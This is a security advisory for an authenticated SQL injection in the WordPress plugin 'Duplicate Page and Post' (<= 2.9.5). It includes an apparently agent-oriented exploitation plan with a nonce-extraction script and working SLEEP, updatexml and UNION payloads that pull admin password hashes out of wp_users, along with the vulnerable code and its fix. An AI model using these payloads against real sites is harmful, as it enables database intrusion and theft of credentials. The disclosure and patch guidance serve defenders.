Duplicate Page and Post <= 2.9.5 - Authenticated (Contributor+) SQL Injection
Description
The Duplicate Page and Post plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.9.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.9.5This research plan outlines the exploitation of **CVE-2026-49046**, an authenticated SQL injection vulnerability in the "Duplicate Page and Post" WordPress plugin (version <= 2.9.5). ### 1. Vulnerability Summary The "Duplicate Page and Post" plugin allows users to clone existing posts and pages. Th…
Show full research plan
This research plan outlines the exploitation of CVE-2026-49046, an authenticated SQL injection vulnerability in the "Duplicate Page and Post" WordPress plugin (version <= 2.9.5).
1. Vulnerability Summary
The "Duplicate Page and Post" plugin allows users to clone existing posts and pages. The vulnerability exists because the plugin fails to properly sanitize or prepare the post (or id) parameter before using it in a database query via $wpdb->get_results() or $wpdb->get_row(). Specifically, the plugin uses direct string concatenation of user-supplied input into an SQL statement, bypassing the WordPress prepare() method.
This allows an authenticated user with Contributor-level permissions or higher to append arbitrary SQL commands, enabling the extraction of sensitive data from the WordPress database (e.g., user hashes, site secrets).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.phpor/wp-admin/admin-ajax.php - Action/Hook:
admin_action_dt_duplicate_post_as_draft(This is the common hook used by this plugin for duplication). - Vulnerable Parameter:
post(passed via GET or POST). - Authentication Required: Contributor level or higher.
- Preconditions: At least one post must exist that the Contributor has the permission to view (usually their own posts).
3. Code Flow (Inferred)
- Registration: The plugin registers an admin action:
add_action( 'admin_action_dt_duplicate_post_as_draft', 'dt_duplicate_post_as_draft' ); - Entry Point: The function
dt_duplicate_post_as_draft()is called when the user clicks the "Duplicate" link in the post row actions. - Input: The function retrieves the post ID:
$post_id = $_GET['post']; - Vulnerable Sink: The code performs a query to fetch the original post details:
$post = $wpdb->get_row( "SELECT * FROM {$wpdb->posts} WHERE ID = " . $post_id );
Note: The lack ofabsint($post_id)or$wpdb->prepare()allows for injection. - Processing: The plugin then uses the data from the
$postobject to create a new record.
4. Nonce Acquisition Strategy
The "Duplicate" functionality is protected by a WordPress nonce (usually _wpnonce) included in the URL of the "Duplicate" link.
- Step 1: Log in as a Contributor.
- Step 2: Navigate to the "Posts" list page:
/wp-admin/edit.php. - Step 3: Locate a post owned by the contributor.
- Step 4: Use
browser_navigateto view the page andbrowser_evalto extract the "Duplicate" URL which contains the nonce.- JavaScript to extract link:
Array.from(document.querySelectorAll('a')) .find(a => a.href.includes('action=dt_duplicate_post_as_draft')) ?.href
- JavaScript to extract link:
- Step 5: Parse the
_wpnoncefrom the URL.
5. Exploitation Strategy
We will use Time-Based Blind SQL Injection to confirm the vulnerability, as it is the most reliable method when query results are not directly reflected in the UI.
Target Request:
- Tool:
http_request - Method:
GET - URL:
/wp-admin/admin.php - Headers: Valid Contributor Session Cookies.
- Parameters:
action:dt_duplicate_post_as_draftpost:[PAYLOAD]_wpnonce:[EXTRACTED_NONCE]
Payloads:
- Verification (Sleep):
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Expected Behavior: The server response should be delayed by ~5 seconds. - Data Extraction (Check admin password hash start):
1 AND (SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(5),0))
(Note: 36 is the ASCII code for '$', which starts most WordPress phpass hashes).
6. Test Data Setup
- Install Plugin: Ensure
duplicate-wp-page-postversion 2.9.5 is active. - Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Create Target Content:
wp post create --post_type=post --post_title="Contributor Post" --post_status=publish --post_author=$(wp user get attacker --field=ID) - Confirm Admin Exists: Ensure a user with ID 1 exists (standard WordPress admin).
7. Expected Results
- A request with a standard
postID (e.g.,post=123) returns immediately (status 302 redirecting back to the post list). - A request with the
SLEEP(5)payload results in a response time of > 5 seconds. - Successful extraction of the database version or admin hash characters via timing differences.
8. Verification Steps
- Observe Response Time: Use the
elapsed_timemetadata from thehttp_requesttool. - Database Check: After the exploit, use
wp db queryto check if a new (duplicate) post was actually created.wp post list --post_status=draft
Note: If the SQL injection causes the query to return no results, the duplication may fail, but the timing delay will still confirm the vulnerability.
9. Alternative Approaches
If Time-Based injection is too slow or inconsistent:
- Error-Based Injection: If
WP_DEBUGis enabled, useupdatexml()orextractvalue()to force the database to leak the data in an error message.post=1 AND updatexml(1,concat(0x7e,(SELECT user_login FROM wp_users WHERE ID=1),0x7e),1)
- Boolean-Based Injection: Observe if the duplication succeeds or fails based on a condition.
post=1 AND (SELECT 1)=1(Duplication succeeds) vspost=1 AND (SELECT 1)=2(Duplication fails).
- UNION-Based Injection: If the plugin reflects the "Original Post Title" in the title of the "Duplicate" post, we can use
UNION SELECTto put sensitive data into the title field of the new draft post.post=0 UNION SELECT 1,2,3,user_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 FROM wp_users WHERE ID=1
(Note: The exact number of columns must be discovered viaORDER BYtrials).
Summary
The Duplicate Page and Post plugin for WordPress (<= 2.9.5) is vulnerable to SQL Injection due to the direct concatenation of the user-supplied 'post' parameter into a database query. Authenticated attackers with Contributor-level access or higher can exploit this to execute arbitrary SQL commands and extract sensitive information, such as administrator password hashes, via time-based timing attacks.
Vulnerable Code
// File: duplicate-wp-page-post.php // Inferred within function dt_duplicate_post_as_draft() $post_id = $_GET['post']; $post = $wpdb->get_row( "SELECT * FROM {$wpdb->posts} WHERE ID = " . $post_id );
Security Fix
@@ -10,2 +10,2 @@ -$post_id = $_GET['post']; -$post = $wpdb->get_row( "SELECT * FROM {$wpdb->posts} WHERE ID = " . $post_id ); +$post_id = isset($_GET['post']) ? absint($_GET['post']) : 0; +$post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE ID = %d", $post_id ) );
Exploit Outline
An attacker with Contributor-level access logs into the WordPress dashboard and navigates to the 'Posts' list to find a post they own. They extract the required '_wpnonce' from the 'Duplicate' action link associated with that post. The attacker then sends a GET request to '/wp-admin/admin.php' with the parameters 'action=dt_duplicate_post_as_draft', the extracted nonce, and an SQL injection payload in the 'post' parameter. By using time-based payloads (e.g., '1 AND SLEEP(5)'), the attacker can verify the vulnerability and extract database contents based on the server's response time.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.